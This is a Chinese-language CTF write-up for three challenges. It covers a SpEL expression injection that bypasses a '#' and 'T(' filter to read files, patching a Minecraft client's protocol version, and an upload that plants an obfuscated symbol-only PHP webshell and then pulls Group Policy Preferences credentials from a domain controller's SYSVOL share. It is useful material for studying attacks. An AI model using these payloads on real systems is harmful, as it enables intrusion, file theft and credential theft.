calc
一个计算器,玩了一下看到是SPEL表达式注入
过滤了#
T(
那就花式反射呗
''.class
-> java.lang.String
''.class.class
-> java.lang.Class
拿到class了就forName
''.class.class.forName("java.util.Arrays")
然后xjb 去invoke newInstance就是没法往构造参数里传参
然后xjb google一通发现这个类
''.class.class.forName('org.springframework.util.ResourceUtils').getFile('/')
然后读flag就行了
''.class.class.forName('java.nio.file.Files').readAllLines(''.class.class.forName('org.springframework.util.ResourceUtils').getFile('/').listFiles()[21])
mc_joinin
一个魔改的mc服务端,大概是我要连上它
看了下协议实现,不想写…
抓包看了一下,服务端发来的protocol_version
是997
那就魔改本地客户端就行了
题目说它是魔改的1.12服务端,那先下个1.12客户端下来,查了一下1.12的协议版本号是335
Patch 1
这里下面1.12是版本号,可能这个类是个CommonInfo啥的,把那个335改成997
Patch2
另外还有一些new mc()的地方,335后面那个参数是服务器地址,有可能那个mc类就是ConnectionImpl之类的,335全改成997
然后跑起来就能加入游戏
抓到点东西
访问过去是个图片,stegsolve瞎几把搞一下,完事
Hard_Pentest_1
有个上传
老套路了
<?= $_[]++ ?>
<?= $_[]=$_._ ?>
<?= $__________=+_ ?>
<?= $_=$_[++$__________][+_] ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= $__=++$_ ?>
<?= $___=++$_ ?>
<?= ++$_ ?>
<?= ++$_ ?>
<?= $____=++$_ ?>
<?= $_____=++$_ ?>
<?= $______=${_.$___.$__.$____.$_____} ?>
<?= $______[+_]($______[$__________]) ?>
后缀大写PHP绕过
Get shell之后找不到flag 扫内网,有个域控192.168.0.12 smb看一下,有个共享Hint和SYSVOL 从SYSVOL里提取GPP得到用户和密码
UserNames : {HintZip_Pass}
NewName : [BLANK]
Passwords : {zL1PpP@sSwO3d}
Hint里面有个压缩包,用上面的密码打开就得到flag